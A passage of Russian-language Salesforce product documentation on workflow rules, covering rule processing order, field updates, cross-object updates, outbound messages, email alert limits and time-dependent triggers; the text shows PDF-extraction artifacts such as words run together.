бизнес-правило, согласно которому сообщение эл. почты, помеченное флажком «Является входящим», должно
изменять значение поля обращения «Статус» с «Закрыто» на «Новое».

• Изменения, внесенные в записи во времяиспользованияприложенияConnect Offline, оцениваютсябизнес-правилами
при синхронизации.

• Ниже указан порядок обработки правил в системе Salesforce.

1. Правила проверки

2. Правила назначения

3. Правила автоматического ответа

4. Бизнес-правила (с немедленными действиями)

5. Правила расширения

• Если поле поиска ссылается на удаленную запись, то система Salesforce удаляет значение поля поиска по умолчанию.
При необходимости записи, используемые во взаимосвязи поиска, могут быть заблокированы от удаления.

• При создании бизнес-правил для замены любых триггеров Apex рекомендуем удалить данные триггеры Apex после
активации эквивалентных бизнес-правил. В противном случае система выполняет как триггеры Apex, так и
бизнес-правила, совместное использование которых возвращает непредвиденные результаты (например,
перезаписанные обновления поля или повторяющиеся сообщения эл. почты).

Когда выполняются бизнес-правила?
• В зависимости от заданных критериев, бизнес-правила могут выполняться при каждом сохранении или создании

записи. Тем не менее, правила, созданные после сохранения записей, не инициируются данными записями задним
числом.

• Бизнес-правила выполняются припереподчинении стандартного объекта во взаимосвязи «Основная — подробная»
даже в том случае, если критерию оценки объекта задано значение «Оценить правило, если запись: создано и
изменено для дальнейшего соответствия критериям».
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• Сохранение или создание записей может инициировать несколько правил.

• Если организация использует правила проверки и триггеры для преобразования интересов, то бизнес-правила
выполняются только для преобразованных интересов.

• Бизнес-правила выполняются автоматически и незаметны пользователям. А процессы утверждения позволяют
отправлять записи на утверждение.

• Еслиорганизацияподдерживаетнесколько языков, введите значенияфильтрана выбранномвамиязыке. Разрешается
добавить не более 25 критериев фильтрации (каждый длиною не более 255 символов).

Прииспользованиираскрывающихсясписковдляопределениякритериевфильтрациивыбранныезначенияхранятся
на стандартном языке организации. При редактировании или клонировании текущих критериев фильтрации
рекомендуемсначала задатьполю «Стандартный язык» на странице «Сведенияокомпании» язык, использовавшийся
дляопределенияисходныхкритериевфильтрации. Впротивномслучаекритериифильтрациимогутнебытьоценены
как ожидалось.

• Если метки типов записей, используемых в критериях бизнес-правила, переведены с помощью средства перевода,
то переведенное значение метки не инициирует выполнение бизнес-правила. Критерии бизнес-правила оценивают
значение основной метки и пропускают переведенное значение. Чтобы избежать данной проблемы, настройте
критерии бизнес-правила на оценку значения основной метки типа записи путем ручного ввода значения в поле
«Значение».

• Бизнес-правила не могут быть инициированы полями статистики по кампаниям, включая статистики по отдельным
кампаниям и иерархиям кампаний.

• Ниже перечислены действия, которые не инициируют бизнес-правила.

– Пакетная замена значений раскрывающихся списков

– Пакетное обновление адресных полей

– Пакетное обновление подразделений

– Изменение назначений территорий для организаций и возможностей

– Преобразование интересов в организации-лица

– Деактивация пользователей портала самообслуживания, клиентского или партнерского портала

– Преобразование данных «Область» и «Страна» на странице «Настройка раскрывающихся списков "Область" и
"Страна"»

– Изменениераскрывающихсясписков «Область» и «Страна» посредствомкомпонента AddressSettings винтерфейсе
Metadata API

Ограничения для бизнес-правил
• Бизнес-правила не могут быть объединены с триггерами времени.

• Объекты объединения не поддерживают создание исходящих сообщений для бизнес-правил.

Совет: Консоль разработчикаможет использоваться для отладки бизнес-правил. Консоль разработчика позволяет
просматривать сведения журнала отладки и сведения о бизнес-правилах и действиях (например, имя пользователя,
запустившего бизнес-правило, а также имя и код оцениваемой записи).

Бизнес-правила для объекта «Пользователь» (бета-версия)

Создание бизнес-правил и действий доступно для объекта «Пользователь». Вы можете, например, разослать
приветственные письма новым сотрудникам или синхронизировать данные пользователей со сторонним сервисом
при помощи действий, связанных с исходящими сообщениями.
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Рекомендации по обновлениям полей
Узнайте, как наиболее эффективно использовать действия по обновлениюполей в ходе выполнения рабочих задач.

Рекомендации по использованию исходящих сообщений
Ознакомьтесь с рекомендациями по использованию действий с исходящими сообщениями перед их внедрением в
среду бизнес-правил.

Ежедневное ограничение для электронных предупреждений
Ежедневное ограничение по количеству сообщений эл. почты, отправленных посредством электронных
предупреждений, составляет 1 000 штукнаоднуорганизациюсо стандартнойлицензией Salesforce, кромебесплатных
организаций Developer Edition и пробных организаций, ежедневное ограничение которых составляет 15 штук на
стандартную лицензию Salesforce. Общее ограничение для организации составляет 2 000 000. Данное ограничение
применяется к сообщениямэл. почты, отправленнымпосредствомэлектронныхпредупрежденийвбизнес-правилах,
процессах утверждения, потоках или REST API.

Рекомендации по зависимым от времени действиям и триггерам времени

Рекомендации по триггерам потока (пробная версия)

Триггеры потока как действия бизнес-правила отличаются особыми алгоритмами и ограничениями.

СМ. ТАКЖЕ:

Бизнес-правила для объекта «Пользователь» (бета-версия)

Установка критериев для бизнес-правила

Бизнес-правила для объекта «Пользователь» (бета-версия)

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создание бизнес-правил и действий доступно для объекта «Пользователь». Вы можете,
например, разослатьприветственныеписьмановымсотрудникамилисинхронизировать
данные пользователей со сторонним сервисом при помощи действий, связанных с
исходящими сообщениями.

Прим.: Данный выпуск поддерживает бета-версию бизнес-правил по объекту
«Пользователь», являющуюсяполноценной, ноимеющуюнекоторыеограничения.
Чтобы отправить свои отзывы и предложения, воспользуйтесь веб-узлом
IdeaExchange.

Примеры использования

Бизнес-правила, настроенные для объекта «Пользователь», позволяют:

• отправлятьновымпользователямприветственныесообщенияэл. почты, содержащие
ресурсы по обучению при помощи действий уведомлений электронной почты;

• отправлять сообщенияприизменениипользователямиролейилидеактивациипользователейприпомощидействий
уведомлений электронной почты;

• деактивировать временных сотрудников по истечении определенного периода, используя действия обновления
полей;

• синхронизировать данные пользователя со сторонними системамиприпомощидействий, связанных с исходящими
сообщениями.
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Слияние типов полей для объекта «Пользователь»

Прежде чем использовать поля слияния из записей пользователей в шаблонах эл. почты, выберите нужный тип поля
слияния.

• Поля пользователя: рекомендуем использовать данные поля слияния для отображения отправителя. Поля слияния
по имени {!User.имя_поля} возвращают значения из записи пользователя, который создал или обновил запись,
инициировавшую выполнение бизнес-правила.

• Поля целевого пользователя бизнес-правила: рекомендуем использовать данные поля слияния только в шаблонах
эл. почты для бизнес-правил по объекту «Пользователь». Поля слияния по имени {!Target_User.имя_поля}
возвращают значения из записи пользователя, созданной или обновленной для инициирования бизнес-правила.

Ограничения для бета-версии бизнес-правил для объекта «Пользователь»

Преждечемсоздатьбизнес-правилаилидействиябизнес-правиладляобъекта «Пользователь», просмотритеперечисленные
ниже ограничения.

• Бизнес-правила для объекта «Пользователь» не поддерживают задачи.

• При настройке критериев бизнес-правила поля «Текущий пользователь» не могут выбираться посредством
раскрывающихсясписков. Чтобынастроитькритерииправилаидобавитьполяизтекущегопользователя, рекомендуем
воспользоватьсяформулой. Нажмитекнопку «Вставитьполе» вредактореформул, выделитепункт $User, выберите
нужное поле и нажмите кнопку «Вставить».

• Помните, чтонастраиваемыеправилапроверкивыполняютсяпередбизнес-правилами. См. раздел «Триггерыипорядок
выполнения» в Руководстве разработчика Apex.

СМ. ТАКЖЕ:

Рекомендации по использованию бизнес-правил

Рекомендации по обновлениям полей

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Узнайте, какнаиболее эффективноиспользоватьдействияпообновлениюполейвходе
выполнения рабочих задач.

Ниже перечислены рекомендации по созданию обновлений поля для бизнес-правил
или процессов утверждения.

Обработка обновления поля

• Обновленияполейвыполняютсяпередэлектроннымипредупреждениями, задачами
и исходящими сообщениями.

• Обновления полей выполняются после назначения обращений, назначения
интересов, правил автоматического ответа и правил расширения обращений.

• Обновления полей не зависят от параметров безопасности поля. Таким образом,
бизнес-правиломожетобновлятьдажеполя, скрытыевмакетестраницыпользователя.

• Если бизнес-правило содержит несколько обновлений полей, применяющих разные значения к одному полю, то
результат обновления поля может быть непредсказуем.

• Обновления полей могут влиять на содержимое связанных списков. Например, обновление поля возможности
«Стоимость» или «Дата закрытия» влияет на связанный список возможности «Журнал этапов».
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• Чтобыопределитьобновлениеполя, врезультатекоторогопроизошлаошибкаприсохранениизаписи, рекомендуем
использовать журнал отладки. Возникновение ошибки препятствует регистрации журнала отладки.

• Ниже перечислены особенности полей напоминания для задач и событий.

– Обновления полей позволяют задавать напоминания для задач или событий, но не могут использовать крайний
срок задачи или запланированное время события.

– Формулы для значений даты/времени вычисляются в днях. Чтобы просмотреть значение в минутах, разделите
значение на 1 440 (количество минут в сутках). Например, формула Now()-7 соответствует семи дням назад, а
формула Now()-7/1440 соответствует семи минутам назад.

• Если организация использует мультивалюту, то поля валюты обновляются посредством валюты записи. Если поле
обновляется на основе формулы, то любое значение формулы обрабатывается в валюте записи.

• Если поля поддерживают функцию отслеживания журнала, то их обновления отслеживаются в связанном списке
«Журнал».

• Обновления записей на основе бизнес-правил не инициируют правила проверки, поэтому бизнес-правила могут
аннулировать ранее допустимые поля.

• Если организация использует организации-лица, то поле «Является организацией-лицом» может использоваться
как часть критерия оценки для бизнес-правил. Однако поле «Является организацией-лицом», доступное только для
чтения, не поддерживает обновления поля.

Совет: Ниже указан порядок обработки правил в системе Salesforce.

1. Правила проверки

2. Правила назначения

3. Правила автоматического ответа

4. Бизнес-правила (с немедленными действиями)

5. Правила расширения

Примечания к обновлениям полей кросс-объекта

• Все настраиваемые и некоторые стандартные объекты позволяют создавать действия бизнес-правил и утверждений,
при выполнении которых изменение подробной записи инициирует обновление поля связанной основной записи.
Обновления полей кросс-объекта поддерживаются взаимосвязями «Основная — подробная» между любыми
настраиваемыми объектами, между любыми настраиваемыми и стандартными объектами и между некоторыми
стандартными объектами. Дополнительную информацию см. в разделе «Обновления полей кросс-объекта» на стр.
11.

• Процессы утверждения не могут использовать действия обновления полей кросс-объекта.

• Процесс утверждения может задавать действие обновления поля, выполняющее повторную оценку бизнес-правил
для обновленного объекта. Тем не менее обновления полей кросс-объекта, доступные в повторно оцененных
бизнес-правилах, пропускаются.

• Чтобысоздатьбизнес-правила, позволяющиекомментариямкобращениямилисообщениямэл. почтыавтоматически
обновлятьполясвязанныхобращений, выберитепункт «Комментарийкобращению»или «Сообщениеэл. почты»
в раскрывающемся списке «Объект» при создании бизнес-правила, а затем выберите пункт «Обращение» в списке
«Поле для обновления». Пункт «Сообщение эл. почты» может использоваться в бизнес-правиле только при
использованиифункции Email-to-Case или On-Demand Email-to-Case.

Еслиобращенияобновляютсябизнес-правилом, инициированнымсообщениемэл. почты, тообновленноеобращение
может инициировать:
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– бизнес-правила;

– правила проверки;

– обновления полей сводного резюмирования;

– правила расширения;

– триггеры Apex;

– процессы права.

Обновленное обращение не может инициировать:

– правила назначения;

– правила автоматического ответа;

действия по обновлению полей и настраиваемые поля;

• Прежде чем изменить тип настраиваемого поля, убедитесь, что данное поле не является целевым для обновления
полей бизнес-правила, а также не используется формулой обновления поля, которая аннулируется новым типом
настраиваемого поля.

• Настраиваемое поле, используемое обновлением поля, не может быть удалено.

• Обновления поля могут использоваться в зашифрованных настраиваемых полях, но при использованииформулы
для выбора нового значения зашифрованное поле недоступно в редакторе формул.

действия по обновлению полей коммерческих возможностей и контрактов;

• Обновления полей могут быть заданы для поля возможности «Этап», которое может влиять на поля «Тип» и
«Категория прогноза».

• Обновления полей, заданные посредством поля возможности «Стоимость», применяются только к возможностям,
которыенесодержатпродуктов. Добавлениепродуктовввозможностьназначаетполю «Стоимость» статусдоступного
только для чтения; значение поля вычисляется автоматически и не зависит от обновления поля.

• Обновления полей могут быть заданы для поля контракта «Статус». Тем не менее значение данного поля может
влиять на значение поля «Категория статуса».

• Рекомендуем избегать создания обновления поля для контрактов или заказов, заполняющего поле «Статус» любым
значением, кроме значения «Утверждено».

ограничения для действия обновления полей.

• Результаты обновления поля не могут инициировать дополнительные правила (например, правила проверки,
назначения, автоматического ответа или расширения).

• Результатыобновленияполямогут инициировать дополнительныебизнес-правилаприналичии соответствующего
флажка. Дополнительную информацию см. в разделе «Обновления полей, выполняющие повторную оценку
бизнес-правил» на странице 4811.

• Обновления полей, выполняемые как действия утверждения, не инициируют бизнес-правила.

• Следующие поля недоступны для действий обновления полей.

– Поля только для чтения, например формулы или поля автонумерации

– Поле выбора Язык для многоязычных решений

– Некоторые поля действий, например Связано с и Личные
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• Бизнес-правила для сообщений эл. почты могут быть связаны только с обновлениями полей.

• Пользователь, накоторогоссылаетсяобновлениеполя, неможетбытьдеактивирован. Например, чтобыдеактивировать
пользователя Иван Петров, на которого ссылается обновление поля, созданное с целью изменения ответственного
за запись, рекомендуем сначала изменить обновление поля.

• Вы можете обновить длинные поля текстовой области, однако возможность вставки Конкретного значения
ограничивает вас до возможности ввода максимального количества символов, допустимых в целевом поле.

• Полю, используемому обновлением поля, которое задает пустое значение, не может быть назначен статус
универсального обязательного.

• Бизнес-правила, обновляющие ответственных сотрудников, не переносят связанные элементы. Чтобы выполнить
перенос, щелкните ссылку «Изменить» напротив имени ответственного в записи и выберите параметры переноса.

Обновления полей кросс-объекта
Все настраиваемые и некоторые стандартные объекты позволяют создавать действия, при выполнении которых
изменение подробной записи инициирует обновление поля связанной основной записи. Обновления полей
кросс-объектаподдерживаютсявзаимосвязями «Основная — подробная» междулюбыминастраиваемымиобъектами,
между любыми настраиваемыми и стандартными объектами и между некоторыми стандартными объектами.

Обновления полей, выполняющие повторную оценку бизнес-правил
При использовании параметра «Переоценить бизнес-правила после изменения поля» для действия обновления
поля Salesforce выполняетпереоценку всехправилрабочегопотока для этогообъекта, еслиобновлениеполяприводит
к изменению значения поля.

СМ. ТАКЖЕ:

Обновления полей кросс-объекта

Обновления полей кросс-объекта

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Все настраиваемые и некоторые стандартные объекты позволяют создавать действия,
при выполнении которых изменение подробной записи инициирует обновление поля
связанной основной записи. Обновления полей кросс-объекта поддерживаются
взаимосвязями «Основная — подробная» между любыми настраиваемыми объектами,
между любыми настраиваемыми и стандартными объектами и между некоторыми
стандартными объектами.

Например, внастраиваемомприложениипоподбору кадров создается бизнес-правило,
котороеизменяетзначениестатусаприложения (основнойобъект) назначение «Закрыто»,
как только соискатель (подробный объект) принимает предложение о работе. Для
стандартныхобъектовможетбытьсозданоправило, согласнокоторомустатусобращения
«Ожидание ответа клиента» должен меняться на статус «Выполняется» при добавлении
клиентом комментария к обращению.

Настраиваемый объект — настраиваемый объект

Обновления полей кросс-объекта поддерживаются для всех настраиваемых объектов, являющихся потомками
настраиваемых объектов во взаимосвязи «Основная — подробная».
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Настраиваемый объект — стандартный объект

Обновленияполейкросс-объектаподдерживаютсядля всехнастраиваемыхобъектов, являющихсяпотомкаминекоторых
стандартных объектов во взаимосвязи «Основная — подробная».

• Организация

• Актив

• Кампания

• Обращение

• Контакт

• Контракт

• Элемент строки контракта

• Право

• Возможность

• Заказ

• Вопрос

• Смета

• Сервисный контракт

• Решение

Стандартный объект — стандартный объект

Обновленияполейкросс-объектаподдерживаютсядля всех стандартныхобъектов, являющихсяпотомкамистандартных
объектов во взаимосвязи «Основная — подробная». Обратите внимание, что между стандартными объектами
поддерживаются только эти взаимосвязи.

• Комментарии к обращению, обновляющие обращение

• Сообщение эл. почты, обновляющее обращение

Совет: Чтобы создать бизнес-правила, позволяющие комментариям к обращениям или сообщениям эл. почты
автоматически обновлять поля связанных обращений, выберите пункт «Комментарий к обращению» или
«Сообщение эл. почты» в раскрывающемся списке «Объект» при создании бизнес-правила, а затем выберите
пункт «Обращение» в списке «Поле для обновления». Пункт «Сообщение эл. почты» может использоваться в
бизнес-правиле только при использованиифункции Email-to-Case или On-Demand Email-to-Case.

• Продукт возможности, обновляющий возможность

Прим.: Обновленияполейкросс-объектадляполейродительскойвозможности «Стоимость» и «Количество»
действительны только в том случае, если возможность не связана с продуктами возможности.

• Возможность, обновляющая организацию (поддерживаются организации-лица и организации-компании)

Прим.: При наличии бизнес-правил для преобразованных интересов и необходимости обновления полей
кросс-объекта в конечных организациях и возможностях, рекомендуем включить параметр интереса «Выполнять
проверку и триггеры при преобразовании интереса».

Действия по обновлению поля кросс-объектов для стандартных полей.

• Не могут использоваться или назначаться для процессов утверждения.

• Обновление родительской записи, даже если у пользователя отсутствует доступ на редактирование.
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Прим.: Если у вас есть код Apex, обновляющий родительские поля в тех же связях, что и в случае с действием
обновлениякросс-объектныхполей, рассмотрите возможность заменыкодаобновлениямикросс-объектныхполей.
В противном случае выполняются оба компонента, а, учитывая тот факт, что бизнес-правила выполняются после
триггеров Apex, обновление поля бизнес-правила переопределяет любое изменение, внесенное кодом Apex.

СМ. ТАКЖЕ:

Рекомендации по обновлениям полей

Общие сведения о взаимосвязях объектов

Обновления полей, выполняющие повторную оценку бизнес-правил

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прииспользованиипараметра «Переоценить бизнес-правила после изменения поля»
для действия обновления поля Salesforce выполняет переоценку всех правил рабочего
потока для этого объекта, если обновление поля приводит к изменению значения поля.

• Если обновление поля меняет значение поля, то все бизнес-правила для связанного
объекта оцениваются повторно. При этом инициируется выполнение всех
бизнес-правил, критерии которых выполняются в результате обновления поля.

• Если любое инициированное бизнес-правило вызывает другое обновление поля,
которое также поддерживает повторную оценку бизнес-правила, то срабатывает
принцип домино, при котором вновь инициированное обновление поля вызывает
повторную оценку дополнительных бизнес-правил. После исходного обновления
поляповторнаяоценкаиинициированиебизнес-правилмогут выполнятьсянеболее
пяти раз.

• Убедитесь, что бизнес-правила не поддерживают создание рекурсивных циклов.
Например, если обновление поля для правила 1 запускает правило 2, а обновление поля для правила 2 запускает
правило 1, торекурсивныетриггерымогутинициироватьпревышениемаксимальнодопустимогоколичестватриггеров
времени бизнес-правила в час.

• При обновлении пакета бизнес-правило инициируется повторно только для измененных объектов.

• Повторная оценка и инициирование бизнес-правил доступны только в том случае, если исходное обновление поля
задано для того же объекта.

• Повторное инициирование доступно только для бизнес-правил, которые не были выполнены ранее.

• Повторная оценка недоступна для бизнес-правил кросс-объекта.

• Обновления полей кросс-объекта, вызывающие изменение значения поля, не инициируют повторной оценки
бизнес-правил для связанного объекта.

• Процесс утверждения может задавать действие обновления поля, выполняющее повторную оценку бизнес-правил
для обновленного объекта. Однако, обновления полей кросс-объекта, которые могут быть доступны в повторно
оцененных бизнес-правилах, пропускаются.

• Нижеперечисленыусловия, привыполнениикоторыхзависимыеотвременидействиянеисключаютсяизоцененного
повторно бизнес-правила.

– Немедленные действия оцененного повторно бизнес-правила инициируют несоответствие записи заданным
критериям бизнес-правила.
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– Триггер Apex after, выполняемый в результате действия бизнес-правила или утверждения, инициирует
несоответствие записи заданным критериям бизнес-правила.

СМ. ТАКЖЕ:

Рекомендации по обновлениям полей

Рекомендации по использованию исходящих сообщений

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ознакомьтесь с рекомендациями по использованию действий с исходящими
сообщениями перед их внедрением в среду бизнес-правил.

Ниже перечислены рекомендации по созданию исходящих сообщений для
бизнес-правил или процессов утверждения.

• Одно SOAP-сообщение может содержать не более 100 уведомлений. Каждое
уведомление содержит уникальный код записи и ссылку на данные в записи. Таким
образом, если запись изменяется после отправки уведомления, но до его получения,
то пользователю отображаются только обновленные данные.

• Неотправленные сообщения хранятся в очереди с целью сохранения их точности.

• Если конечная точка недоступна, то сообщения хранятся в очереди до момента
отправки или истечения 24 часов. Сообщения удаляются из очереди по истечении
24 часов.

• Еслисообщениенеможетбытьдоставлено, тоинтервалмеждуповторнымипопыткамиувеличиваетсяэкспоненциально
и может составлять не более двух часов.

• Повторная отправка сообщений выполняется независимо от порядка их добавления в очередь. Данный алгоритм
может инициировать беспорядочную доставку сообщений.

• Исходящиесообщениянемогутиспользоватьсядлясозданияконтрольногожурнала. Каждоесообщениеможетбыть
доставлено не менее одного раза. Если доставка не может быть выполнена в течение 24 часов, то сообщение может
быть не доставлено. Как отмечалось выше, если исходный объект изменяется после отправки уведомления, но до его
получения, то конечная точка получает только последние данные, но не промежуточные изменения.

Ежедневное ограничение для электронных предупреждений

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ежедневное ограничение по количеству сообщений эл. почты, отправленных
посредствомэлектронныхпредупреждений, составляет1 000 штукнаоднуорганизацию
со стандартной лицензией Salesforce, кроме бесплатных организаций Developer Edition и
пробных организаций, ежедневное ограничение которых составляет 15 штук на
стандартную лицензию Salesforce. Общее ограничение для организации составляет
2 000 000. Данное ограничение применяется к сообщениям эл. почты, отправленным
посредствомэлектронныхпредупрежденийвбизнес-правилах, процессах утверждения,
потоках или REST API.

Степень ограничения определяется количеством действий в течение 24 часов, начиная
с 00:00 по Гринвичу. Добавление или удаление лицензии пользователя инициирует
незамедлительную корректировку общего ограничения. Если электронное
предупреждение отправляется группе, то ежедневное ограничение охватывает всех ее
участников.

Ниже перечислены действия, выполняемые при достижении установленного ежедневного ограничения.
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• Все отложенные сообщения эл. почты в очереди бизнес-правил пропускаются. Система Salesforce не предпринимает
повторной попытки их отправки.

• При срабатывании бизнес-правила, содержащего действие и электронное предупреждение, блокируется только
действие.

• Действия утверждения, отклонения, отзыва, окончательногоутвержденияиокончательногоотклоненияблокируются.

• Сообщение об ошибке добавляется в журнал отладки.

Ниже перечислены элементы, которые не учитываются данным ограничением.

• Электронные уведомления об утверждении

• Уведомления о назначении задачи

• Уведомления о правилах назначения интересов

• Уведомления о правилах назначения обращений

• Уведомления о правилах расширения обращений

• Предупреждения об использовании сайтов Force.com

Приприближенииилипревышениинекоторыхограниченийдля электронныхпредупрежденийбизнес-правилсистема
Salesforceотправляетсообщение-предупреждениепользователюбизнес-правилпоумолчаниюилиактивномусистемному
администратору (при его отсутствии).

Сообщение-предупреждение
содержит...

Система Salesforce отправляет...Условие

Содержимое и получатели
неотправленного электронного
предупреждения

Сообщение-предупреждение для
каждого неотправленного
электронного предупреждения

Электронное предупреждение не
отправляется, так как количество
получателейпревышает ограничение,
установленное для отдельного
сообщения эл. почты

ОграничениеитекущееиспользованиеОдно сообщение-предупреждениеОрганизация достигает 90% от
установленного ежедневного
ограничения по количеству
сообщений эл. почты

ОграничениеитекущееиспользованиеОдно сообщение-предупреждениеОрганизация достигает 90% от
установленного ежедневного
ограничения по количеству
электронных бизнес-правил

ОграничениеитекущееиспользованиеСообщение-предупреждение на
каждые 100 попыток отправки

Электронное предупреждение не
отправляется, так как организация

электронного предупреждения сверх
установленного ограничения

достигает ежедневного ограничения
по количеству сообщений эл. почты

ОграничениеитекущееиспользованиеСообщение-предупреждение на
каждые 100 попыток отправки

Электронное предупреждение не
отправляется, так как организация

электронного предупреждения сверх
установленного ограничения

достигает ежедневного ограничения
по количеству электронных
бизнес-правил
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Рекомендации по зависимым от времени действиям и триггерам времени

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены рекомендации по созданию зависимых от времени действий и
триггеров времени для бизнес-правил.

Определение триггеров времени

• При определении триггера времени рекомендуем использовать стандартные и
настраиваемыеполя типа «Дата» и «Дата/время», заданныедля объекта. Чтобы задать
время, укажите дни и часы. Действительный диапазон — от 0 до 999 дней или часов.

• Существующие триггеры времени можно изменять посредством добавления или
удаления действий.

Прим.: Удаление всех действийиз временного триггеране удаляет сам триггер.
Незаполненные триггеры все еще становятся в очередь и попадают под
ограничениенаколичествоиспользуемыхтриггеров, указанноевбизнес-правиле
для рабочего часа. Чтобы удалить триггер, удалите его из очереди
бизнес-правила.

Обработка триггеров времени

• Зависимые от времени действия не могут выполняться автономно. Данные действия группируются как отдельный
пакет, который начинает выполняться в течение одного часа после входа первого действия в пакет. Соответственно,
любыетриггерыApex, инициированныевыполнениемданныхгрупповыхдействий, такжевыполняютсякакотдельный
пакет. ДанныйалгоритмможетинициироватьпревышениеконтролирующихограниченийApex, есликонтролируемые
по времени бизнес-правила используются совместно с триггерами Apex.

• Salesforce выполняет оценку бизнес-правила на основе времени для часового пояса организации, а не пользователя.
Пользователи в других часовых поясах могут обнаружить разницу в поведении.

• Порядоквыполнениятриггероввременисистемой Salesforceможетотличатьсяотпорядкаихотображенияна странице
сведений о бизнес-правиле. Триггеры времени бизнес-правила, использующие поле «До», отображаются перед
триггерами времени, использующими поле «После».

• СистемаSalesforceнеотображаетэлементыуправлениязависимымиотвременидействияминастраницередактирования
сведенийобизнес-правиле, еслибизнес-правилу заданкритерийоценки «Оценить правило, если запись: создано
и изменено для дальнейшего соответствия критериям».

• При изменении поля даты, используемого несработавшим триггером времени оцененного бизнес-правила, система
Salesforceповторновычисляетнесработавшиетриггерывремени, связанныесправилом. Например, еслибизнес-правило
должнопредупреждатьответственного за возможность за семь днейдо даты закрытия возможности, а датой закрытия
выбирается 20 февраля 2011 года, тосистемаSalesforceотправляетпредупреждение 13 февраля 2011 года. Приизменении
датызакрытияна 10 февраля 2011 годаиневыполнениитриггеравременисистемаSalesforceотправляетпредупреждение
3 февраля 2011 года. Если при повторном вычислении триггеров времени системой Salesforce даты являются
прошедшими, то система Salesforce инициирует связанные действия сразу после сохранения записи.

• Если бизнес-правило содержит триггер времени, заданный на прошедшую дату, то система Salesforce добавляет
связанные зависимые от времени действия в очередь для начала выполнения в течение одного часа. Например, если
бизнес-правило обновляет поле за семь дней до даты закрытия возможности, но при этом создается возможность,
которая должнабыть закрыта сегодня, то система Salesforceначинаетобрабатыватьобновлениеполя в течениеодного
часа после создания возможности.
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• Доступность зависимых от времени действий в очереди бизнес-правил определяется действительностью критериев
бизнес-правила. Если запись больше не соответствует критериям правила, то система Salesforce удаляет связанные
зависимые от времени действия из очереди.

Например, бизнес-правило для возможности может содержать:

– Критерий «"Возможность: Статус" не равно "Закрыто и реализовано", "Закрыто и не реализовано"».

– Связанное зависимое от времени действие, где триггер времени выполняется за семь дней до даты закрытия
возможности.

Еслизаписьсоответствуеткритериям, созданным 1 июля, а Дата закрытия установленана 30 июля, действие, зависимое
от времени, планируется на 23 июля. Однако, если коммерческая возможность имеет статус «Закрыто и реализовано»
или «Закрыто и не реализовано» до 23 июля, действие, зависимое от времени, удаляется из очереди.

• Система Salesforce пропускает триггеры времени, ссылающиеся на нулевые поля.

• Зависимые от времени действия могут автоматически добавляться в очередь в случае обновления записи и выбора
критерияоценки «Оценить правило, если запись: создано и изменено для дальнейшего соответствия критериям».
В предыдущем примере: если статус возможности изменяется со значения «Закрыто и не реализовано» на значение
«Поиск потенциальных клиентов», а бизнес-правилу задается критерий оценки «Оценить правило, если запись:
создано и изменено для дальнейшего соответствия критериям», то система Salesforce переоценивает триггеры
времени и добавляет соответствующие действия в очередь бизнес-правил.

• Удаление записи, содержащей отложенные действия, инициирует удаление отложенных действий из очереди
бизнес-правил. Действия не могут быть восстановлены даже при восстановлении записи.

• Если используется критерий оценки «Оценить правило, если запись: создано», то бизнес-правило оценивает
триггеры времени только один раз. Если запись, инициировавшая выполнение правила, больше не соответствует
критериям оценки, то система Salesforce удаляет отложенные действия из очереди и больше не применяет правило к
записи.

• При необходимости бизнес-правило может быть деактивировано. Если правило содержит отложенные действия в
очередибизнес-правил, то редактирование записи, запустившейданноеправило, инициирует удалениеотложенных
действий из очереди. Если запись не редактируется, то отложенные действия обрабатываются даже при деактивации
правила.

• Нижеперечислены условия, при выполнении которых зависимыеот времени действияне исключаютсяиз повторно
оцененного бизнес-правила.

– Немедленные действия повторно оцененного бизнес-правила инициируют несоответствие записи заданным
критериям бизнес-правила.

– Триггер Apex after, выполняемый в результате действия бизнес-правила или утверждения, инициирует
несоответствие записи заданным критериям бизнес-правила.

• Если параметру задачи «Крайний срок» задано значение «Дата триггера правила», то триггеры времени и крайние
срокизадачибизнес-правилазависятотвременивыполнениядействиядлятриггеравременибизнес-правила. Например,
если крайнему сроку задачи задано значение «Дата триггера правила плюс 10 дней», а триггер времени выполняется
1 января, то система Salesforce устанавливает крайний срок задачи на 11 января.

• Новое активное бизнес-правило с триггерами времени может быть добавлено в набор изменений, который затем
будетразвернут. Наборизмененийпозволяетменятьтриггерывременитолькодлянеактивныхбизнес-правил. Правило
должно быть активировано в целевой организации вручную или посредством другого набора изменений,
предназначенного только для активации бизнес-правил и не меняющего триггеры времени.

Например, предположим, что у вас имеется неактивное бизнес-правило в целевой организации, а набор вносимых
изменений содержит активное бизнес-правило с таким же именем и новые или другие временные триггеры.

4815

Бизнес-правилоРасширение Salesforce посредством интерактивных
инструментов



Развертывание завершится неудачей, поскольку сначала будет активировано бизнес-правило, после чего будет
предпринята попытка добавить или удалить временные триггеры.

Прим.: Необходимо добавить действия, зависимые от времени, вручную при включении бизнес-правила в
набор изменений. Функция «Просмотр и добавление зависимостей» не поддерживает поиск зависимых от
времени действий.

Использование зависимых от времени действий бизнес-правила с интересами

• Интерес, содержащий отложенные действия, не может быть преобразован.

• Есливключенафункция «Выполнятьпроверкуитриггерыприпреобразованииинтереса», тотекущиеконтролируемые
по времени действия бизнес-правил для интересов не запускаются при преобразовании интересов.

• Если участник кампании на основе интереса преобразуется до выполнения связанных контролируемых по времени
действий бизнес-правила, то система Salesforce продолжает выполнение контролируемых по времени действий
бизнес-правила.

Ограничения

• Триггеры времени не поддерживают минуты или секунды.

• Триггеры времени не могут ссылаться на следующие поля.

